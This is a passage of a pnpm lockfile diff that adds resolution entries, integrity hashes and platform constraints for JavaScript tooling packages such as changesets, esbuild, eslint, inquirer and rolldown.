sha512-rSDcqdJ9KbVyjpBIuCidhvZNIiVt1XaIYp73ycVQRIA5n/j6wQaEk0ChRLMUQ1vkxZe51PTQ9OIhbg6HQMW45A==} + + '@changesets/changelog-git@0.2.1': + resolution: {integrity: sha512-x/xEleCFLH28c3bQeQIyeZf8lFXyDFVn1SgcBiR2Tw/r4IAWlk1fzxCEZ6NxQAjF2Nwtczoen3OA2qR+UawQ8Q==} + + '@changesets/cli@2.31.1': + resolution: {integrity: sha512-uO05WTcRBwuVOJVSW8Cmpqw6q0WDL53ajGCMyszutvOe5toOnunbpM4jZzf+qxBOz7i0AzopZ8diBuewjmF40w==} + hasBin: true + + '@changesets/config@3.1.4': + resolution: {integrity: sha512-pf0bvD/v6WI2cRlZ6hzpjtZdSlXDXMAJ+Iz7xfFzV4ZxJ8OGGAON+1qYc99ZPrijnt4xp3VGG7eNvAOGS24V1Q==} + + '@changesets/errors@0.2.0': + resolution: {integrity: sha512-6BLOQUscTpZeGljvyQXlWOItQyU71kCdGz7Pi8H8zdw6BI0g3m43iL4xKUVPWtG+qrrL9DTjpdn8eYuCQSRpow==} + + '@changesets/get-dependents-graph@2.1.4': + resolution: {integrity: sha512-ZsS00x6WvmHq3sQv8oCMwL0f/z3wbXCVuSVTJwCnnmbC/iBdNJGFx1EcbMG4PC6sXRyH69liM4A2WKXzn/kRPg==} + + '@changesets/get-release-plan@4.0.16': + resolution: {integrity: sha512-2K5Om6CrMPm45rtvckfzWo7e9jOVCKLCnXia5eUPaURH7/LWzri7pK1TycdzAuAtehLkW7VPbWLCSExTHmiI6g==} + + '@changesets/get-version-range-type@0.4.0': + resolution: {integrity: sha512-hwawtob9DryoGTpixy1D3ZXbGgJu1Rhr+ySH2PvTLHvkZuQ7sRT4oQwMh0hbqZH1weAooedEjRsbrWcGLCeyVQ==} + + '@changesets/git@3.0.4': + resolution: {integrity: sha512-BXANzRFkX+XcC1q/d27NKvlJ1yf7PSAgi8JG6dt8EfbHFHi4neau7mufcSca5zRhwOL8j9s6EqsxmT+s+/E6Sw==} + + '@changesets/logger@0.1.1': + resolution: {integrity: sha512-OQtR36ZlnuTxKqoW4Sv6x5YIhOmClRd5pWsjZsddYxpWs517R0HkyiefQPIytCVh4ZcC5x9XaG8KTdd5iRQUfg==} + + '@changesets/parse@0.4.3': + resolution: {integrity: sha512-ZDmNc53+dXdWEv7fqIUSgRQOLYoUom5Z40gmLgmATmYR9NbL6FJJHwakcCpzaeCy+1D0m0n7mT4jj2B/MQPl7A==} + + '@changesets/pre@2.0.2': + resolution: {integrity: sha512-HaL/gEyFVvkf9KFg6484wR9s0qjAXlZ8qWPDkTyKF6+zqjBe/I2mygg3MbpZ++hdi0ToqNUF8cjj7fBy0dg8Ug==} + + '@changesets/read@0.6.7': + resolution: {integrity: sha512-D1G4AUYGrBEk8vj8MGwf75k9GpN6XL3wg8i42P2jZZwFLXnlr2Pn7r9yuQNbaMCarP7ZQWNJbV6XLeysAIMhTA==} + + '@changesets/should-skip-package@0.1.2': + resolution: {integrity: sha512-qAK/WrqWLNCP22UDdBTMPH5f41elVDlsNyat180A33dWxuUDyNpg6fPi/FyTZwRriVjg0L8gnjJn2F9XAoF0qw==} + + '@changesets/types@4.1.0': + resolution: {integrity: sha512-LDQvVDv5Kb50ny2s25Fhm3d9QSZimsoUGBsUioj6MC3qbMUCuC8GPIvk/M6IvXx3lYhAs0lwWUQLb+VIEUCECw==} + + '@changesets/types@6.1.0': + resolution: {integrity: sha512-rKQcJ+o1nKNgeoYRHKOS07tAMNd3YSN0uHaJOZYjBAgxfV7TUE7JE+z4BzZdQwb5hKaYbayKN5KrYV7ODb2rAA==} + + '@changesets/write@0.4.0': + resolution: {integrity: sha512-CdTLvIOPiCNuH71pyDu3rA+Q0n65cmAbXnwWH84rKGiFumFzkmHNT8KHTMEchcxN+Kl8I54xGUhJ7l3E7X396Q==} + + '@esbuild/aix-ppc64@0.28.1': + resolution: {integrity: sha512-Svl7tq8k/08+p6CXPpRjQ1fKX+1odH/BQbb48fV6fj3CWHhsoIOoY87w1oHXm0qEpkIK3ZfVgp0hed3XBXzXMQ==} + engines: {node: '>=18'} + cpu: [ppc64] + os: [aix] + + '@esbuild/android-arm64@0.28.1': + resolution: {integrity: sha512-34EGEbCIAgosYz6goLcopX6Mo7NyGv9tfwEM2/7Ce2VcVRk568iSvniGWcUXIy7wEDR1wzolcxcriFVrWYcwBg==} + engines: {node: '>=18'} + cpu: [arm64] + os: [android] + + '@esbuild/android-arm@0.28.1': + resolution: {integrity: sha512-0k2F129Xdio1TdJfzJ8sy1Q47vUD2NnwdhiAf7drUN1EBTfPf4hsFCtmMgu/6m8JSzsBrlmVjudMBQqOfG8usQ==} + engines: {node: '>=18'} + cpu: [arm] + os: [android] + + '@esbuild/android-x64@0.28.1': + resolution: {integrity: sha512-dbwY7ltSMDWsRatcRpCnES4F+im88OCUgGZjy52shC7GqHRE/cYlxNbB4Z4UpJswpcc4Qxd2oE/ufM0p61IKng==} + engines: {node: '>=18'} + cpu: [x64] + os: [android] + + '@esbuild/darwin-arm64@0.28.1': + resolution: {integrity: sha512-TZbWkQY7kvTAXbXUT7uVACR5cMHsDiSz9z7ZKAX/RTq/WJEk3QyRr0wZpNhBDX+/0CtdqUIJlOiodQcta6tY3Q==} + engines: {node: '>=18'} + cpu: [arm64] + os: [darwin] + + '@esbuild/darwin-x64@0.28.1': + resolution: {integrity: sha512-zfdzgK9ACBNZLI/CyHTOx81SyNbM6YXn7rxSgX97VjyiPl9W1i4Ka4fgKECEoFCKGpvBj5qArWIGgQjOwkgskQ==} + engines: {node: '>=18'} + cpu: [x64] + os: [darwin] + + '@esbuild/freebsd-arm64@0.28.1': + resolution: {integrity: sha512-wG2EA8ENdEI0qhkSZMjfqrdY+ziCYCPMmtZjjIwOmXFjmyzEHn+UUxk5of+SYsjtfs3VpnlC7QLzSI5hY/rOAw==} + engines: {node: '>=18'} + cpu: [arm64] + os: [freebsd] + + '@esbuild/freebsd-x64@0.28.1': + resolution: {integrity: sha512-i7dZ9vQgnvSCzi/rYCXNgtF/U+eKZNJBzu3eTQbRgHnM7tNSizLOkRFAl3qzVc/Op/u5YkHHa4pf/3DOYHthLQ==} + engines: {node: '>=18'} + cpu: [x64] + os: [freebsd] + + '@esbuild/linux-arm64@0.28.1': + resolution: {integrity: sha512-yHs+0uc8+nvEAfAfxrWQKK5peSNzBc4PegcMO0EJ2hT71uA7vB8Ihg2e77R2P7SG5uYjPbHlLLmve4LLLRCf0g==} + engines: {node: '>=18'} + cpu: [arm64] + os: [linux] + + '@esbuild/linux-arm@0.28.1': + resolution: {integrity: sha512-qVXBOHQS+d5Y722GwJzJUtOLlX7km3CraOaGormF1pDtPd2C/l1SHRPgjLunLGe51Sh5YYWKMFDyV4SxgMQYTQ==} + engines: {node: '>=18'} + cpu: [arm] + os: [linux] + + '@esbuild/linux-ia32@0.28.1': + resolution: {integrity: sha512-d1z4ZuP0ajrfz/FhGT4vv278rX8KnPPJx8i5+AtK7TYbx9Le9F1hyzurZpkEyjkGa9dUGhQow4C1NmeGvqxN2w==} + engines: {node: '>=18'} + cpu: [ia32] + os: [linux] + + '@esbuild/linux-loong64@0.28.1': + resolution: {integrity: sha512-M5sRjUVZrkm1OAPR3dlOYzNmN+loZKGVi1VUQGrwuqLcbR6qeAz+famMhjASeH3YVKvZz+zT1jlh/keC3Rj/lg==} + engines: {node: '>=18'} + cpu: [loong64] + os: [linux] + + '@esbuild/linux-mips64el@0.28.1': + resolution: {integrity: sha512-mRObBZeHh2OxcBFPWE/FjylkRgZdYuiTR3vaTozquCGOH14iP9oN4x4Ge81CoIDYQrXmIxpFumJBu5MtZpnQJQ==} + engines: {node: '>=18'} + cpu: [mips64el] + os: [linux] + + '@esbuild/linux-ppc64@0.28.1': + resolution: {integrity: sha512-slScBsMAb3GFDcdrCgLwZtPYRoH2H/youv10QiZyRjmsP48fznoveWytSgCI/R0ZcUgpc0ZhIUEx6LHts8yrfQ==} + engines: {node: '>=18'} + cpu: [ppc64] + os: [linux] + + '@esbuild/linux-riscv64@0.28.1': + resolution: {integrity: sha512-kw0owk1o0GFETUJyW0jc0G4Yzs0BHZn0JDZ8JRT088vjJYX777BAs1fDGxAC+q831qOs2DTC96mNsG2opdfyyQ==} + engines: {node: '>=18'} + cpu: [riscv64] + os: [linux] + + '@esbuild/linux-s390x@0.28.1': + resolution: {integrity: sha512-/lAIjX8aYFRByhh6L5rYtPEDRqa9de/4V/juOXcta5frjvzXO4/sqEtyytse0g3zZFuWu5cDN0MkLz2qRDD2Ag==} + engines: {node: '>=18'} + cpu: [s390x] + os: [linux] + + '@esbuild/linux-x64@0.28.1': + resolution: {integrity: sha512-u/anNYF2mmVOEDwLtnQ1wOr3EZ9sTNGLWrsYGYwHWzGA3Si84IOkHXlbWTD1NB+9/1lcnweYKO54uhxZydNzfA==} + engines: {node: '>=18'} + cpu: [x64] + os: [linux] + + '@esbuild/netbsd-arm64@0.28.1': + resolution: {integrity: sha512-oks0DYbLwWMmaakTsCb+zL4E+aHRVLom9IJZOAthMQEPiQmydXHkziYEsGYRx0uNV/IjEKGAV941JzH02pflqw==} + engines: {node: '>=18'} + cpu: [arm64] + os: [netbsd] + + '@esbuild/netbsd-x64@0.28.1': + resolution: {integrity: sha512-aeL6lAnN89Hz43Mlh1G8ARasbuoYvSITDEx0tHh5b7jJnHcssqgjy9Yx430GDpmCa6OyrKoS0aNRjKundRizGg==} + engines: {node: '>=18'} + cpu: [x64] + os: [netbsd] + + '@esbuild/openbsd-arm64@0.28.1': + resolution: {integrity: sha512-MEFJe5C3R8pwXdZ5Y21oo6m7ePiS0d9pWucn99O/wvyJZChoIQKrQDxKrGeW8F5+T0okTHesAmDeiHDTIq0V/Q==} + engines: {node: '>=18'} + cpu: [arm64] + os: [openbsd] + + '@esbuild/openbsd-x64@0.28.1': + resolution: {integrity: sha512-i/ZLIOafE0Z8cI/XANJAixoJL/uRAoS2xOA3rb0xN+KK0K177cMAsQYkzHtBrtMXAKuAc7HGgcWiZ/sRC1Nxgw==} + engines: {node: '>=18'} + cpu: [x64] + os: [openbsd] + + '@esbuild/openharmony-arm64@0.28.1': + resolution: {integrity: sha512-ge+Z7EXFNt2BO1oAMsVpiQ8EwndV9i1xXerAeTIK7AtPs3bKFXQM7nlRxDSIUIMeueR1CNXxqztLzdNeReKBJg==} + engines: {node: '>=18'} + cpu: [arm64] + os: [openharmony] + + '@esbuild/sunos-x64@0.28.1': + resolution: {integrity: sha512-BEjgtECkL3vY+SaSQ6nzVfiALUeFxpawyp8Jmf5PtYhf1Ug40N1h/hxlhts+f1FvSvarEigdxS3BlSMI2PJLcQ==} + engines: {node: '>=18'} + cpu: [x64] + os: [sunos] + + '@esbuild/win32-arm64@0.28.1': + resolution: {integrity: sha512-lCv9eK/H6ZJWbE7bh2nw54CZ9M2nupBxJcTsdk/QQnWkdSjKGuxmmH8/GWrlT1eMmZfn4dGcCjRte397WqfQXA==} + engines: {node: '>=18'} + cpu: [arm64] + os: [win32] + + '@esbuild/win32-ia32@0.28.1': + resolution: {integrity: sha512-zvb/mB2bSCoJOpoCBgYKKpX6YM6mJBlBUVUtVj41DlZJVEB6/0CKlRYxP5wWl1C1ILiCoAU5wZZ4q1P3qeS6Eg==} + engines: {node: '>=18'} + cpu: [ia32] + os: [win32] + + '@esbuild/win32-x64@0.28.1': + resolution: {integrity: sha512-bm4Mowrv+GXMlpWX++EcXw/iLyd1o3+bJkC2DkWXYVvgZCqD/bSj9ctZeAMC3cIxgjRVR2Dufaiu4YPxr5gW1A==} + engines: {node: '>=18'} + cpu: [x64] + os: [win32] + + '@eslint-community/eslint-utils@4.10.1': + resolution: {integrity: sha512-cuadcxVFE8sDK6iWJbs8Sn0av2Nrh2QSGQhVlBW9AaAHqHwjWsZHT8LJ4hFGPh7ASBV2deFdM7H/DPjulmh8rg==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + peerDependencies: + eslint: ^6.0.0 || ^7.0.0 || >=8.0.0 + + '@eslint-community/regexpp@4.12.2': + resolution: {integrity: sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==} + engines: {node: ^12.0.0 || ^14.0.0 || >=16.0.0} + + '@eslint/config-array@0.23.5': + resolution: {integrity: sha512-Y3kKLvC1dvTOT+oGlqNQ1XLqK6D1HU2YXPc52NmAlJZbMMWDzGYXMiPRJ8TYD39muD/OTjlZmNJ4ib7dvSrMBA==} + engines: {node: ^20.19.0 || ^22.13.0 || >=24} + + '@eslint/config-helpers@0.7.0': + resolution: {integrity: sha512-DObd/KKUsU+FaFv4PLxSRenpXfQWmPXXP3pPZ6/K1PCrMu2vQpMDMuQe/BqYeoLcz8ro0bVDF1RxOJgfVEdhUw==} + engines: {node: ^20.19.0 || ^22.13.0 || >=24} + + '@eslint/core@1.2.1': + resolution: {integrity: sha512-MwcE1P+AZ4C6DWlpin/OmOA54mmIZ/+xZuJiQd4SyB29oAJjN30UW9wkKNptW2ctp4cEsvhlLY/CsQ1uoHDloQ==} + engines: {node: ^20.19.0 || ^22.13.0 || >=24} + + '@eslint/js@10.0.1': + resolution: {integrity: sha512-zeR9k5pd4gxjZ0abRoIaxdc7I3nDktoXZk2qOv9gCNWx3mVwEn32VRhyLaRsDiJjTs0xq/T8mfPtyuXu7GWBcA==} + engines: {node: ^20.19.0 || ^22.13.0 || >=24} + peerDependencies: + eslint: ^10.0.0 + peerDependenciesMeta: + eslint: + optional: true + + '@eslint/object-schema@3.0.5': + resolution: {integrity: sha512-vqTaUEgxzm+YDSdElad6PiRoX4t8VGDjCtt05zn4nU810UIx/uNEV7/lZJ6KwFThKZOzOxzXy48da+No7HZaMw==} + engines: {node: ^20.19.0 || ^22.13.0 || >=24} + + '@eslint/plugin-kit@0.7.2': + resolution: {integrity: sha512-+CNAzxglkrpNf/kKywqQfk74QjtceuOE7Qm+AF8miRvPF/wmmK5+OJOgVh3AVTT3RP2mH3+FOaxlE5v72owk0A==} + engines: {node: ^20.19.0 || ^22.13.0 || >=24} + + '@humanfs/core@0.19.2': + resolution: {integrity: sha512-UhXNm+CFMWcbChXywFwkmhqjs3PRCmcSa/hfBgLIb7oQ5HNb1wS0icWsGtSAUNgefHeI+eBrA8I1fxmbHsGdvA==} + engines: {node: '>=18.18.0'} + + '@humanfs/node@0.16.8': + resolution: {integrity: sha512-gE1eQNZ3R++kTzFUpdGlpmy8kDZD/MLyHqDwqjkVQI0JMdI1D51sy1H958PNXYkM2rAac7e5/CnIKZrHtPh3BQ==} + engines: {node: '>=18.18.0'} + + '@humanfs/types@0.15.0': + resolution: {integrity: sha512-ZZ1w0aoQkwuUuC7Yf+7sdeaNfqQiiLcSRbfI08oAxqLtpXQr9AIVX7Ay7HLDuiLYAaFPu8oBYNq/QIi9URHJ3Q==} + engines: {node: '>=18.18.0'} + + '@humanwhocodes/module-importer@1.0.1': + resolution: {integrity: sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==} + engines: {node: '>=12.22'} + + '@humanwhocodes/retry@0.4.3': + resolution: {integrity: sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==} + engines: {node: '>=18.18'} + + '@iarna/toml@2.2.5': + resolution: {integrity: sha512-trnsAYxU3xnS1gPHPyU961coFyLkh4gAD/0zQ5mymY4yOZ+CYvsPqUbOFSw0aDM4y0tV7tiFxL/1XfXPNC6IPg==} + + '@inquirer/ansi@2.0.7': + resolution: {integrity: sha512-3eTuUO1vH2cZm2ZKHeQxnOqlTi9EfZDGgIe3BL3I4u+rJHocr9Fz86M4fjYABPvFnQG/gGK551HqDiIcETwU6Q==} + engines: {node: '>=23.5.0 || ^22.13.0 || ^20.17.0'} + + '@inquirer/checkbox@5.2.1': + resolution: {integrity: sha512-b6xmA/VlTe0ZgDQHDui+Nav470u7u49nRd8/iuhOcQPO9Ch7lGuogydhi2VOmNlZ+zXcM8IcPuNSwQcdJaF/kw==} + engines: {node: '>=23.5.0 || ^22.13.0 || ^20.17.0'} + peerDependencies: + '@types/node': '>=18' + peerDependenciesMeta: + '@types/node': + optional: true + + '@inquirer/confirm@6.1.1': + resolution: {integrity: sha512-eb8DBZcz/2qHWQda4rk2JiQk5h9QV/cVHi1yjt0f69WFZMRFn0sJTye3EAP8icut8UDMjQPsaH5KbcOogefrFQ==} + engines: {node: '>=23.5.0 || ^22.13.0 || ^20.17.0'} + peerDependencies: + '@types/node': '>=18' + peerDependenciesMeta: + '@types/node': + optional: true + + '@inquirer/core@11.2.1': + resolution: {integrity: sha512-Qd6GJT1yVyrZZCfN8W2qKF5ApmqryXRhRKCuip8h01x2w/esJQ2XIYc6f9abMIHgKQdBfFTSOdbHRLAhuM09UA==} + engines: {node: '>=23.5.0 || ^22.13.0 || ^20.17.0'} + peerDependencies: + '@types/node': '>=18' + peerDependenciesMeta: + '@types/node': + optional: true + + '@inquirer/editor@5.2.2': + resolution: {integrity: sha512-ZRVd/oD+sYsUd5zVm0NflqEzlqfYCyHNsqkHl2oWXEUHs12tCbcSFi+wVFEvD8+LGRaMUsVrE7qeo6lSG/S1Vg==} + engines: {node: '>=23.5.0 || ^22.13.0 || ^20.17.0'} + peerDependencies: + '@types/node': '>=18' + peerDependenciesMeta: + '@types/node': + optional: true + + '@inquirer/expand@5.1.1': + resolution: {integrity: sha512-YmQpenjbFSHAK3sOd44puHh3V1KXXr+JiNpUztoSQ4drLh2rTVzTap/YtlAVu/5xavifIlBfNEzJ/neZJ1a/1g==} + engines: {node: '>=23.5.0 || ^22.13.0 || ^20.17.0'} + peerDependencies: + '@types/node': '>=18' + peerDependenciesMeta: + '@types/node': + optional: true + + '@inquirer/external-editor@1.0.3': + resolution: {integrity: sha512-RWbSrDiYmO4LbejWY7ttpxczuwQyZLBUyygsA9Nsv95hpzUWwnNTVQmAq3xuh7vNwCp07UTmE5i11XAEExx4RA==} + engines: {node: '>=18'} + peerDependencies: + '@types/node': '>=18' + peerDependenciesMeta: + '@types/node': + optional: true + + '@inquirer/external-editor@3.0.3': + resolution: {integrity: sha512-6thf5I8q7lZwzGLAxPaaGEREEkZ3nyePPDQ1oyobblxmEE8mqTLguScP7pDjUTAibiyb4hfXl+qjUEJ+di/aNA==} + engines: {node: '>=23.5.0 || ^22.13.0 || ^20.17.0'} + peerDependencies: + '@types/node': '>=18' + peerDependenciesMeta: + '@types/node': + optional: true + + '@inquirer/figures@2.0.7': + resolution: {integrity: sha512-aJ8TBPOGB6f/2qziPfElISTCEd5XOYTFckA2SGjhNmiKzfK/u4ot3v0DUzGVdUnKjN10EqnnEPck36BkyfLnJw==} + engines: {node: '>=23.5.0 || ^22.13.0 || ^20.17.0'} + + '@inquirer/input@5.1.2': + resolution: {integrity: sha512-9K/DDBSQpOyZSkt6sOVP9Vo0TR7atX2kuILsUu0x3wVcVbe97lJwIJKMLdMw25tDYuXl/qp6erT0Xs1rfmcfZg==} + engines: {node: '>=23.5.0 || ^22.13.0 || ^20.17.0'} + peerDependencies: + '@types/node': '>=18' + peerDependenciesMeta: + '@types/node': + optional: true + + '@inquirer/number@4.1.1': + resolution: {integrity: sha512-XF4IXAbPnGPgw0wsbC/i2tPcyfdZgDpUlhsqU0SfT4IRIGWha6Xm9VRgN5yYxJq+jnyXlfXI/nQ3ulfk0iEICA==} + engines: {node: '>=23.5.0 || ^22.13.0 || ^20.17.0'} + peerDependencies: + '@types/node': '>=18' + peerDependenciesMeta: + '@types/node': + optional: true + + '@inquirer/password@5.1.1': + resolution: {integrity: sha512-3XBfF7DAsp5qeDsvN5Rd1HmbNokVvEQoUM0QLrRcybC9nX96w3Pbmu7qUsb3IT3J3jBvs2+mTXaKHOUsgHMLzg==} + engines: {node: '>=23.5.0 || ^22.13.0 || ^20.17.0'} + peerDependencies: + '@types/node': '>=18' + peerDependenciesMeta: + '@types/node': + optional: true + + '@inquirer/prompts@8.5.2': + resolution: {integrity: sha512-IYR/3C/paEVVQYQvdDlFZVjRCJVYHHON0XXMH91KO9GSxs0TdKYWlUdvfQl2EfAHDxUaN3IBffkE/BDTh5nJ6g==} + engines: {node: '>=23.5.0 || ^22.13.0 || ^20.17.0'} + peerDependencies: + '@types/node': '>=18' + peerDependenciesMeta: + '@types/node': + optional: true + + '@inquirer/rawlist@5.3.1': + resolution: {integrity: sha512-QqdTqQddL3qPX/PPrjobpsO25NZ4dWXgTLenrR445L2ptLEYE6Z+PD5c5CNDJNx4ugRgELAIpSIJxZaO2jJ2Og==} + engines: {node: '>=23.5.0 || ^22.13.0 || ^20.17.0'} + peerDependencies: + '@types/node': '>=18' + peerDependenciesMeta: + '@types/node': + optional: true + + '@inquirer/search@4.2.1': + resolution: {integrity: sha512-xJj8QWKRSrfKoBIITLZK61dD3zwo0Rz11fgDImku30/Oe81zMdIdGgrLY2h6RkJ+KZ/GhNYIRMKnH/62qBTA5g==} + engines: {node: '>=23.5.0 || ^22.13.0 || ^20.17.0'} + peerDependencies: + '@types/node': '>=18' + peerDependenciesMeta: + '@types/node': + optional: true + + '@inquirer/select@5.2.1': + resolution: {integrity: sha512-FlDndEUww8m7BfukO2nJa25vhD+H5jxxCv4oGioKqzyWz3nPHhhw4LKdYRSlXuAx7DsdWia7iyaBPKKS95Evfw==} + engines: {node: '>=23.5.0 || ^22.13.0 || ^20.17.0'} + peerDependencies: + '@types/node': '>=18' + peerDependenciesMeta: + '@types/node': + optional: true + + '@inquirer/type@4.0.7': + resolution: {integrity: sha512-t28inv14nMQ1PhKpsJPY+kEs/c00qzeCOS2gTNRyTjG5d6qsVA2fItxW4hkvGZ5lvanGLdtCzVIx5dwdRpN1+g==} + engines: {node: '>=23.5.0 || ^22.13.0 || ^20.17.0'} + peerDependencies: + '@types/node': '>=18' + peerDependenciesMeta: + '@types/node': + optional: true + + '@jridgewell/sourcemap-codec@1.5.5': + resolution: {integrity: sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==} + + '@loaderkit/resolve@1.0.6': + resolution: {integrity: sha512-G8FdIoF5CypfwmD9rl8BXod5HDn8JqB0CCNBXDTaRZ+yRYhARrrSToX1zg1zy9jX3zLqigsELwhT4gNtkdQAUg==} + + '@manypkg/find-root@1.1.0': + resolution: {integrity: sha512-mki5uBvhHzO8kYYix/WRy2WX8S3B5wdVSc9D6KcU5lQNglP2yt58/VfLuAK49glRXChosY8ap2oJ1qgma3GUVA==} + + '@manypkg/get-packages@1.1.3': + resolution: {integrity: sha512-fo+QhuU3qE/2TQMQmbVMqaQ6EWbMhi4ABWP+O4AM1NqPBuy0OrApV5LO6BrrgnhtAHS2NH6RrVk9OL181tTi8A==} + + '@nodelib/fs.scandir@2.1.5': + resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==} + engines: {node: '>= 8'} + + '@nodelib/fs.stat@2.0.5': + resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==} + engines: {node: '>= 8'} + + '@nodelib/fs.walk@1.2.8': + resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==} + engines: {node: '>= 8'} + + '@oxc-project/types@0.142.0': + resolution: {integrity: sha512-7W+2q5AKQVU36fkaryontrHn3YDt1RyUYXatw9i5H8ocYe2sPKSFB6eS8WNPeRKiN1qAWWZUPm7gwFzJGrccqQ==} + + '@publint/pack@0.1.6': + resolution: {integrity: sha512-3uVNyGcVplhPZSLVyeIpL7+cIRn1YCSNHLG/rUIlBQMVH8YuN9++YF+5+UDIIO9RW98dujiUoTltO7RDB5bFJA==} + engines: {node: '>=18'} + + '@quansync/fs@1.0.0': + resolution: {integrity: sha512-4TJ3DFtlf1L5LDMaM6CanJ/0lckGNtJcMjQ1NAV6zDmA0tEHKZtxNKin8EgPaVX1YzljbxckyT2tJrpQKAtngQ==} + + '@rolldown/binding-android-arm64@1.2.2': + resolution: {integrity: sha512-l7x215OGvo1s52JWmR8U/DAVzEDWBCIbTm28aeJV/WDTSHgcKXaZTuBT0hJMs5NggilfJTW3clZVvd24yfKJxA==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [arm64] + os: [android] + + '@rolldown/binding-darwin-arm64@1.2.2': + resolution: {integrity: sha512-9u9Xv6c1AJZT0FfwH5vrMG5Jjcwhc1MlyrPu0XfTqkzsmqfks2M6W/o5XwAJgVVN/jHpqqngC1WevHKKTIUtIA==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [arm64] + os: [darwin] + + '@rolldown/binding-darwin-x64@1.2.2': + resolution: {integrity: sha512-9W1mbGZAfW3oqd85bhBkmpyHCCzL1TeG/zFFP3vg7b0rlly8cxOcre5nXwz+LHazCwac2MNWgPdPCHndABjpWQ==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [x64] + os: [darwin] + + '@rolldown/binding-freebsd-x64@1.2.2': + resolution: {integrity: sha512-0p1lhiCSCyaerFwtrdZQUx7NqGk6LQnaRKWX7tFQqwQgvX0rjM15cIkm3pax1UpEakK14C4mOxx/jSqCBdBRqQ==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [x64] + os: [freebsd] + + '@rolldown/binding-linux-arm-gnueabihf@1.2.2': + resolution: {integrity: sha512-e+cOJXrJ2L3zx6YzqPg+f6Wbk3V1cKB8bOhbaYdVYN3DdquzNdRAmrbETz1qnt5yp/c7JNlNjmITiA2cVneQ7w==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [arm] + os: [linux] + + '@rolldown/binding-linux-arm64-gnu@1.2.2': + resolution: {integrity: sha512-JsSMsj6sNat/MuhG5fnBD7QgbtpHKVe30x5/bAVirDHdhoQRXJkF6xc0Jqk8O4fiCUQAzMOoH9wZi3m60c8wtg==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [arm64] + os: [linux] + libc: [glibc] + + '@rolldown/binding-linux-arm64-musl@1.2.2': + resolution: {integrity: sha512-B5G/zJdHaoJn9vD50eGHWkiWfmq8Uhi3IiLPJTzmZTrAalk1bztUikSXo0qga18ibE0IXboyeMUnhPjhAJ45wQ==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [arm64] + os: [linux] + libc: [musl] + + '@rolldown/binding-linux-ppc64-gnu@1.2.2': + resolution: {integrity: sha512-6mC/awzKka8W6EoekjegpfGkjz8jXWDX63pqu/HYVpyKtZfu65Jsh4QAH3Kej3CAv/c1oGX7psTmFEbr0mDxLA==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [ppc64] + os: [linux] + libc: [glibc] + + '@rolldown/binding-linux-s390x-gnu@1.2.2': + resolution: {integrity: sha512-412MX9fJLdA1IK28EZnc8jYv2HRTleOZgfLQumJ5zy7OeJLZlg/CETwFaXjNmGVxG51cFHpKLqb5LKvBC+HsHA==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [s390x] + os: [linux] + libc: [glibc] + + '@rolldown/binding-linux-x64-gnu@1.2.2': + resolution: {integrity: sha512-Q/+HI/ToJafZ1iCqGgVQXUEkIjufHCTF0gBQ2a5o3cg7GJ2h0qyq3nvvSmU+bGda2/7ygXpTY4TM6gO9OhQ0ZA==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [x64] + os: [linux] + libc: [glibc] + + '@rolldown/binding-linux-x64-musl@1.2.2': + resolution: {integrity: sha512-ZKp/w41n6wCvxzxQHtQSbuphfX3Y4cCvbjkKHusrLx4lh+JWLTU7StSltO/DKARISzbj368d+qUaCjI8K2wzXw==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [x64] + os: [linux] + libc: [musl] + + '@rolldown/binding-openharmony-arm64@1.2.2': + resolution: {integrity: sha512-pxE6xD4KS3eAROkKK5yrhB9/3+vhlhVGMvlQLbdpzrBGDbKrnzx3RLwPaHvasLo6jgaiBLn7e04Df9C4tYhjmA==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [arm64] + os: [openharmony] + + '@rolldown/binding-win32-arm64-msvc@1.2.2': + resolution: {integrity: sha512-4MqEue5re+xIZzAWsB8sj0P1kqZySWqIuN4t6QaIO/YA6SFwySOLruvWQFzfmqk8LBK2P30KCSJwf6mJCZZ5/A==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [arm64] + os: [win32] + + '@rolldown/binding-win32-x64-msvc@1.2.2': + resolution: {integrity: sha512-NweNxxD0Nf9t8v7kodun45Ijp3EIwYY+uydPP6qBEYvfBqhIjN6dZMzlQja3tqX/aLs3F3Uz+AxDpKgRhpOZQg==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [x64] + os: [win32] + + '@rolldown/pluginutils@1.0.1': + resolution: {integrity: sha512-2j9bGt5Jh8hj+vPtgzPtl72j0yRxHAyumoo6TNfAjsLB04UtpSvPbPcDcBMxz7n+9CYB0c1GxQFxYRg2jimqGw==} + + '@rollup/rollup-android-arm-eabi@4.62.3': + resolution: {integrity: 